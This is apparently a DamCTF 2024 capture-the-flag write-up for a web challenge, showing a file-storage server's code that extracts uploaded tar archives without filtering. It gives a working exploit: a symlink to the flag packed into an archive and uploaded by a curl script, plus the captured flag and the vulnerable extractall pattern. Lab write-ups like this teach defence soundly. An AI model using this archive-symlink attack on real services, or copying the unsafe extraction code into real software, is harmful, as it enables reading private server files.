Writeup - DamCTF 2024: Tarrible Storage
A web challenge by M1ll_0n, solved by Trayshar
Challenge
Move over google drive, there’s a new file storage service in town:
http://tarrible-storage.chals.kekoam.xyz
As is usual for a web challenge, we get a link to a website. We can create an account, log in, and upload files. The files we upload are stored on the server, and we get a download link for each one. We also get the backend source code. It uses the Sanic Framework (gotta go fast) and is deployed using Docker.
Charting a path to the flag
Inside the Docker container, we have the following folder structure:
chal
├── auth.py
├── dist
│ ├── assets
│ │ └── ...
│ ├── index.html
│ └── vite.svg
├── files
│ └── ...
├── flag
├── requirements.txt
├── server.py
├── users.db
└── util.py
The flag is copied to the root directory of the website, along with the source code (auth.py, server.py, util.py
) and the bundled frontend files (dist
).
All files we can upload will be placed in the ./files
subdirectory.
Maybe we can just do a simple URL path traversal attack and download the flag directly?
So I tried /api/access/..%2f..%2fflag
and similar URLs, to no avail.
The server resolves the file path, checks if it’s in ./files
and otherwise refuses to serve it:
1ABSOLUTE_FILE_PATH = os.path.abspath("./files")
2
3...
4
5@app.get("/api/access/<filename>")
6@protected
7async def handle_file_access(request: Request, filename):
8 filename = unquote(filename)
9 file_path = os.path.join("files", request.ctx.use,['folder'], filename)
10 file_path = os.path.abspath(os.path.normpath(file_path))
11 if file_path.startswith(ABSOLUTE_FILE_PATH):
12 return await file(file_path)
13 return await json({"error": "file not found"}, status=404)
So we cannot access the flag from this endpoint, right? Maybe there are other vulnerabilities we can use?
Tar archives
When files are uploaded through the web page, they are packed in the browser using Tar and GZip, then unpacked by the server. Note that all files we send are extracted into the user’s subfolder, which is just a UUID.
1@app.post("/api/upload")
2@protected_sync
3def handle_tar_upload(request: Request):
4 # extract user files
5 tarbytes = io.BytesIO(request.body)
6 try:
7 with tarfile.open(fileobj=tarbytes, mode='r') as file_upload:
8 file_upload.extractall(os.path.join("files", request.ctx.user['folder']))
9 except tarfile.ReadError as err:
10 return json({'error': str(err)}, status=400)
11 return json({"success": "files uploaded"})
Tar preserves the structure of the files it packs. Therefore, most implementations of tar support symbolic links, absolute file paths, and other risky business. What about the one used here?
Fortunately, it doesn’t follow the glaring warning in the documentation. It happily extracts symbolic links, so we can craft an archive that unpacks a symlink to the flag.
The exploit
I replicated the folder structure of the docker container, and created a symlink to the flag with ln -s ../../flag flag
:
chal
├── files
│ └── my_awesome_payload
│ └── flag -> ../../flag
├── flag
└── ...
I verified that the symlink worked, then packed it with tar -czvf up.tar.gz flag
.
I uploaded the resulting tar file directly to the API endpoint using curl
, as the site does its own additional packing:
1#!/bin/bash
2auth="<Auth Token from browser>"
3
4curl 'http://tarrible-storage.chals.kekoam.xyz/api/upload' \
5 -H "Authorization: Bearer $auth" \
6 -H 'Content-Type: application/octet-stream' \
7 --data-binary "@up.tar.gz"
8
9sleep 1 # let him cook
10echo "\n\nTrying to read flag!\n\n"
11
12curl 'http://tarrible-storage.chals.kekoam.xyz/api/access/flag' \
13 -H "Authorization: Bearer $auth"
This worked, and I got the flag: dam{what_a_tarrible_app_lol_1249832789427}
Notes
It helped tremendously that we had the source code, so I could set up my own instance with debugging and helpful printouts. Thanks to the other members of our team who helped me with this challenge :)
Also, this is a great reminder that even unexpected operations like “unpacking an archive” can be a security risk. Some might blame the developers for not reading the documentation carefully, and allowing this behavior. Some might blame the library, for allowing these operations by default.
Python added a filter
parameter in version 3.12 to disable “dangerous/surprising features”, and will likely change the default filter to prohibit such operations in version 3.14.